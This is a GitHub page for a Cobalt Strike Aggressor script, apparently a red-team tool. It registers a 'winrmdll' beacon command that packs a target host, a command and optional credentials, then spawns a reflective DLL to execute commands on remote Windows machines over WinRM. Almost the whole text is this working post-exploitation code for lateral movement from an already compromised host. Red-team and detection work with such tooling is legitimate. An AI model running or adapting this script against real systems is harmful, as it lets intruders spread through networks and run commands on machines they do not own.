forked from mez-0/winrmdll
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwinrmdll.cna
46 lines (37 loc) · 810 Bytes
/
winrmdll.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
beacon_command_register(
"winrmdll",
"Reflective DLL: WinRM",
"A Bit of magic to execute WinRM as a Reflective DLL\nwinrmdll <host> <command> [username] [password]\ncc @__mez0__"
);
alias winrmdll
{
$bid = $1;
$barch = barch($1);
if(size(@_) < 3)
{
berror($bid, "winrmdll: not enough arguments!");
return;
}
else if(size(@_) eq 3)
{
$host = $2;
$command = $3;
$username = "NULL";
$password = "NULL";
}
else if(size(@_) eq 5)
{
$host = $2;
$command = $3;
$username = $4;
$password = $5;
}
else
{
berror($bid, "winrmdll: Theres an error in the arguments!");
return;
}
$params = base64_encode($host ."||". $command ."||". $username ."||". $password);
$dll = script_resource("reflective-winrm.dll");
bdllspawn($bid, $dll, $params, "WinRM DLL", 10000, true);
}